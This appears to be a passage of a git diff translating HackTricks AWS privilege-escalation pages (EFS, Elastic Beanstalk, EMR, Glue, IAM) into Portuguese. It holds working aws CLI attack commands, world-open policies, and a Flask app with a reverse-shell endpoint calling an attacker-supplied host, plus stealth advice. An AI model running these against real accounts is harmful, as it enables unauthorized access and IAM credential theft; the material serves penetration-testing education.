entanto, se estiver protegido por políticas IAM, você precisará ter as permissões extras mencionadas aqui para acessá-lo. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted. - -To delete the policy: +Com qualquer uma dessas permissões, um atacante pode **alterar a política do sistema de arquivos** para **dar acesso** a ele ou apenas **excluí-lo** para que o **acesso padrão** seja concedido. +Para excluir a política: ```bash aws efs delete-file-system-policy \ - --file-system-id +--file-system-id ``` - -To change it: - +Para mudar isso: ```json aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json // Give everyone trying to mount it read, write and root access // policy.json: { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", - "Statement": [ - { - "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "elasticfilesystem:ClientRootAccess", - "elasticfilesystem:ClientWrite", - "elasticfilesystem:ClientMount" - ], - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` -With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**. - +Com essa permissão, um atacante poderá **montar o EFS**. Se a permissão de escrita não for concedida por padrão a todos que podem montar o EFS, ele terá apenas **acesso de leitura**. ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` +As permissões extras `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:ClientWrite` podem ser usadas para **escrever** dentro do sistema de arquivos após ele ser montado e para **acessar** esse sistema de arquivos **como root**. -The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no sistema de arquivos. ### `elasticfilesystem:CreateMountTarget` -If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege: - +Se um atacante estiver dentro de uma **sub-rede** onde **nenhum ponto de montagem** do EFS existe. Ele poderia simplesmente **criar um em sua sub-rede** com este privilégio: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ - --subnet-id \ - --security-groups +--subnet-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no sistema de arquivos. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**: - +Em um cenário onde um atacante descobre que o EFS tem um alvo de montagem em sua sub-rede, mas **nenhum grupo de segurança está permitindo o tráfego**, ele poderia simplesmente **alterar isso modificando os grupos de segurança selecionados**: ```bash aws efs modify-mount-target-security-groups \ - --mount-target-id \ - --security-groups +--mount-target-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no sistema de arquivos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 613dd3a47..9986dfb64 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -4,19 +4,18 @@ ## Elastic Beanstalk -More **info about Elastic Beanstalk** in: +Mais **informações sobre o Elastic Beanstalk** em: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Para realizar ações sensíveis no Beanstalk, você precisará ter **muitas permissões sensíveis em muitos serviços diferentes**. Você pode verificar, por exemplo, as permissões concedidas a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others - -With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it. +### `elasticbeanstalk:RebuildEnvironment`, permissões de escrita no S3 e muitas outras +Com **permissões de escrita sobre o bucket S3** que contém o **código** do ambiente e permissões para **reconstruir** a aplicação (é necessário `elasticbeanstalk:RebuildEnvironment` e mais algumas relacionadas a `S3`, `EC2` e `Cloudformation`), você pode **modificar** o **código**, **reconstruir** o app e, na próxima vez que acessar o app, ele **executará seu novo código**, permitindo que o atacante comprometa a aplicação e as credenciais da função IAM dela. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, e mais... -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... - -The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch. - -- Create an AWS Elastic Beanstalk application: +Os mencionados, além de várias permissões **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** e **`elasticloadbalancing`**, são necessários para criar um cenário básico do Elastic Beanstalk do zero. +- Criar uma aplicação AWS Elastic Beanstalk: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` - -- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): - +- Crie um ambiente AWS Elastic Beanstalk ([**plataformas suportadas**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` +Se um ambiente já foi criado e você **não quer criar um novo**, você pode apenas **atualizar** o existente. -If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one. - -- Package your application code and dependencies into a ZIP file: - +- Empacote seu código de aplicativo e dependências em um arquivo ZIP: ```python zip -r MyApp.zip . ``` - -- Upload the ZIP file to an S3 bucket: - +- Faça o upload do arquivo ZIP para um bucket S3: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` - -- Create an AWS Elastic Beanstalk application version: - +- Crie uma versão de aplicativo AWS Elastic Beanstalk: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` - -- Deploy the application version to your AWS Elastic Beanstalk environment: - +- Implemente a versão do aplicativo no seu ambiente AWS Elastic Beanstalk: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` - ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**: +Primeiro de tudo, você precisa criar um **ambiente Beanstalk legítimo** com o **código** que você gostaria de executar na **vítima**, seguindo os **passos anteriores**. Potencialmente, um simples **zip** contendo esses **2 arquivos**: {{#tabs }} {{#tab name="application.py" }} - ```python from flask import Flask, request, jsonify import subprocess,os, socket @@ -89,34 +74,32 @@ application = Flask(__name__) @application.errorhandler(404) def page_not_found(e): - return jsonify('404') +return jsonify('404') @application.route("/") def index(): - return jsonify('Welcome!') +return jsonify('Welcome!') @application.route("/get_shell") def search(): - host=request.args.get('host') - port=request.args.get('port') - if host and port: - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - s.connect((host,int(port))) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(["/bin/sh","-i"]) - return jsonify('done') +host=request.args.get('host') +port=request.args.get('port') +if host and port: +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect((host,int(port))) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(["/bin/sh","-i"]) +return jsonify('done') if __name__=="__main__": - application.run() +application.run() ``` - {{#endtab }} {{#tab name="requirements.txt" }} - ``` click==7.1.2 Flask==1.1.2 @@ -125,44 +108,42 @@ Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1 ``` - {{#endtab }} {{#endtabs }} -Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**): - +Uma vez que você tenha **seu próprio ambiente Beanstalk em execução** sua rev shell, é hora de **migrá-lo** para o ambiente dos **vítimas**. Para isso, você precisa **atualizar a Política do Bucket** do seu bucket S3 do beanstalk para que a **vítima possa acessá-lo** (Note que isso **abrirá** o Bucket para **TODOS**): ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "s3:ListBucket", - "s3:ListBucketVersions", - "s3:GetObject", - "s3:GetObjectVersion", - "s3:*" - ], - "Resource": [ - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" - ] - }, - { - "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", - "Effect": "Deny", - "Principal": { - "AWS": "*" - }, - "Action": "s3:DeleteBucket", - "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"s3:ListBucket", +"s3:ListBucketVersions", +"s3:GetObject", +"s3:GetObjectVersion", +"s3:*" +], +"Resource": [ +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" +] +}, +{ +"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", +"Effect": "Deny", +"Principal": { +"AWS": "*" +}, +"Action": "s3:DeleteBucket", +"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" +} +] } ``` @@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 0025abe52..3a2fadcfd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -More **info about EMR** in: +Mais **informações sobre EMR** em: {{#ref}} ../aws-services/aws-emr-enum.md @@ -12,57 +12,51 @@ More **info about EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` -An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\ -Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`). - +Um atacante com essas permissões pode **executar um novo cluster EMR anexando funções EC2** e tentar roubar suas credenciais.\ +Observe que, para fazer isso, você precisaria **conhecer alguma chave privativa ssh importada na conta** ou importar uma, e ser capaz de **abrir a porta 22 no nó mestre** (você pode ser capaz de fazer isso com os atributos `EmrManagedMasterSecurityGroup` e/ou `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" chmod 400 /tmp/sshkey base64 /tmp/sshkey.pub > /tmp/pub.key aws ec2 import-key-pair \ - --key-name "privesc" \ - --public-key-material file:///tmp/pub.key +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key aws emr create-cluster \ - --release-label emr-5.15.0 \ - --instance-type m4.large \ - --instance-count 1 \ - --service-role EMR_DefaultRole \ - --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc # Wait 1min and connect via ssh to an EC2 instance of the cluster) aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` +Note como um **papel EMR** é especificado em `--service-role` e um **papel ec2** é especificado em `--ec2-attributes` dentro de `InstanceProfile`. No entanto, essa técnica só permite roubar as credenciais do papel EC2 (já que você se conectará via ssh), mas não o Papel IAM EMR. -Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. - -**Potential Impact:** Privesc to the EC2 service role specified. +**Impacto Potencial:** Privesc para o papel de serviço EC2 especificado. ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. +Com essas permissões, um atacante pode ir para o **console AWS**, criar um Notebook e acessá-lo para roubar o Papel IAM. > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related. +> Mesmo que você anexe um papel IAM à instância do notebook, em meus testes, percebi que consegui roubar credenciais gerenciadas pela AWS e não credenciais relacionadas ao papel IAM. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Impacto Potencial:** Privesc para o papel gerenciado pela AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile ### `elasticmapreduce:OpenEditorInConsole` -Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ -The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` +Apenas com essa permissão, um atacante poderá acessar o **Jupyter Notebook e roubar o papel IAM** associado a ele.\ +A URL do notebook é `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related +> Mesmo que você anexe um papel IAM à instância do notebook, em meus testes, percebi que consegui roubar credenciais gerenciadas pela AWS e não credenciais relacionadas ao papel IAM. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Impacto Potencial:** Privesc para o papel gerenciado pela AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index b40cdf413..dff4c5075 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,19 +4,13 @@ ### `gamelift:RequestUploadCredentials` -With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**. - +Com esta permissão, um atacante pode recuperar um **novo conjunto de credenciais para uso ao fazer upload** de um novo conjunto de arquivos de construção de jogos para o Amazon GameLift's Amazon S3. Ele retornará **credenciais de upload do S3**. ```bash aws gamelift request-upload-credentials \ - --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` - -## References +## Referências - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 049d3b273..a52031146 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,15 +6,14 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint. - -After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role: +Usuários com essas permissões podem **configurar um novo ponto de extremidade de desenvolvimento do AWS Glue**, **atribuindo um papel de serviço existente que pode ser assumido pelo Glue** com permissões específicas a este ponto de extremidade. +Após a configuração, o **atacante pode SSH na instância do ponto de extremidade**, e roubar as credenciais IAM do papel atribuído: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ - --role-arn \ - --public-key file:///ssh/key.pub +--role-arn \ +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` +Para fins de furtividade, é recomendável usar as credenciais IAM de dentro da máquina virtual Glue. -For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine. - -**Potential Impact:** Privesc to the glue service role specified. +**Impacto Potencial:** Privesc para o papel de serviço glue especificado. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role: - +Usuários com esta permissão podem **alterar a chave SSH de um endpoint de desenvolvimento Glue** existente, **habilitando o acesso SSH a ele**. Isso permite que o atacante execute comandos com os privilégios do papel anexado ao endpoint: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ - --public-key file:///ssh/key.pub +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -44,13 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` - -**Potential Impact:** Privesc to the glue service role used. +**Impacto Potencial:** Privesc para o papel de serviço do Glue utilizado. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role: - +Usuários com **`iam:PassRole`** combinado com **`glue:CreateJob` ou `glue:UpdateJob`**, e **`glue:StartJobRun` ou `glue:CreateTrigger`** podem **criar ou atualizar um trabalho do AWS Glue**, anexando qualquer **conta de serviço do Glue**, e iniciar a execução do trabalho. As capacidades do trabalho incluem a execução de código Python arbitrário, que pode ser explorado para estabelecer um shell reverso. Esse shell reverso pode então ser utilizado para exfiltrar as **credenciais IAM** do papel anexado ao trabalho do Glue, levando a um potencial acesso ou ações não autorizadas com base nas permissões desse papel: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U # A Glue role with admin access was created aws glue create-job \ - --name privesctest \ - --role arn:aws:iam::93424712358:role/GlueAdmin \ - --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' # You can directly start the job aws glue start-job-run --job-name privesctest # Or you can create a trigger to start it aws glue create-trigger --name triggerprivesc --type SCHEDULED \ - --actions '[{"JobName": "privesctest"}]' --start-on-creation \ - --schedule "0/5 * * * * *" #Every 5mins, feel free to change +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ +--schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` - -**Potential Impact:** Privesc to the glue service role specified. +**Impacto Potencial:** Privesc para o papel de serviço glue especificado. ### `glue:UpdateJob` -Just with the update permission an attacked could steal the IAM Credentials of the already attached role. +Apenas com a permissão de atualização, um atacante poderia roubar as Credenciais IAM do papel já anexado. -**Potential Impact:** Privesc to the glue service role attached. +**Impacto Potencial:** Privesc para o papel de serviço glue anexado. -## References +## Referências - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 7807f6152..08c547e94 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -For more info about IAM check: +Para mais informações sobre IAM, consulte: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,228 +12,189 @@ For more info about IAM check: ### **`iam:CreatePolicyVersion`** -Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions. - -**Exploit Command:** +Concede a capacidade de criar uma nova versão de política IAM, contornando a necessidade de permissão `iam:SetDefaultPolicyVersion` usando a flag `--set-as-default`. Isso permite definir permissões personalizadas. +**Comando de Exploração:** ```bash aws iam create-policy-version --policy-arn \ - --policy-document file:///path/to/administrator/policy.json --set-as-default +--policy-document file:///path/to/administrator/policy.json --set-as-default ``` - -**Impact:** Directly escalates privileges by allowing any action on any resource. +**Impacto:** Escalona diretamente privilégios ao permitir qualquer ação em qualquer recurso. ### **`iam:SetDefaultPolicyVersion`** -Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions. - -**Bash Command:** +Permite alterar a versão padrão de uma política IAM para outra versão existente, potencialmente escalonando privilégios se a nova versão tiver mais permissões. +**Comando Bash:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` - -**Impact:** Indirect privilege escalation by enabling more permissions. +**Impacto:** Escalação de privilégio indireta ao habilitar mais permissões. ### **`iam:CreateAccessKey`** -Enables creating access key ID and secret access key for another user, leading to potential privilege escalation. +Permite criar um ID de chave de acesso e uma chave de acesso secreta para outro usuário, levando a uma potencial escalada de privilégio. **Exploit:** - ```bash aws iam create-access-key --user-name ``` - -**Impact:** Direct privilege escalation by assuming another user's extended permissions. +**Impacto:** Escalação direta de privilégios ao assumir as permissões estendidas de outro usuário. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation. - -**Exploit for Creation:** +Permite criar ou atualizar um perfil de login, incluindo a definição de senhas para login no console AWS, levando a uma escalada direta de privilégios. +**Exploit para Criação:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Exploit for Update:** - +**Exploit para Atualização:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Impact:** Direct privilege escalation by logging in as "any" user. +**Impacto:** Escalação de privilégio direta ao fazer login como "qualquer" usuário. ### **`iam:UpdateAccessKey`** -Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key. +Permite habilitar uma chave de acesso desativada, potencialmente levando a acesso não autorizado se o atacante possuir a chave desativada. **Exploit:** - ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` - -**Impact:** Direct privilege escalation by reactivating access keys. +**Impacto:** Escalação direta de privilégios reativando chaves de acesso. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. - -**Exploit for Creation:** +Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado. +**Exploit para Criação:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` - -**Exploit for Reset:** - +**Exploit para Redefinir:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` - -**Impact:** Direct privilege escalation within the user's service permissions. +**Impacto:** Escalonamento direto de privilégios dentro das permissões de serviço do usuário. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy. - -**Exploit for User:** +Permite anexar políticas a usuários ou grupos, escalando diretamente os privilégios ao herdar as permissões da política anexada. +**Exploit para Usuário:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` - -**Exploit for Group:** - +**Exploit para Grupo:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` - -**Impact:** Direct privilege escalation to anything the policy grants. +**Impacto:** Escalação direta de privilégios para qualquer coisa que a política concede. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions. - -**Exploit for Role:** +Permite anexar ou colocar políticas em funções, usuários ou grupos, possibilitando a escalada direta de privilégios ao conceder permissões adicionais. +**Exploit para Função:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` - -**Exploit for Inline Policies:** - +**Exploit para Políticas Inline:** ```bash aws iam put-user-policy --user-name --policy-name "" \ - --policy-document "file:///path/to/policy.json" +--policy-document "file:///path/to/policy.json" aws iam put-group-policy --group-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json aws iam put-role-policy --role-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json ``` - -You can use a policy like: - +Você pode usar uma política como: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } ``` - -**Impact:** Direct privilege escalation by adding permissions through policies. +**Impacto:** Escalação direta de privilégios ao adicionar permissões através de políticas. ### **`iam:AddUserToGroup`** -Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions. +Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo. **Exploit:** - ```bash aws iam add-user-to-group --group-name --user-name ``` - -**Impact:** Direct privilege escalation to the level of the group's permissions. +**Impacto:** Escalação direta de privilégios para o nível das permissões do grupo. ### **`iam:UpdateAssumeRolePolicy`** -Allows altering the assume role 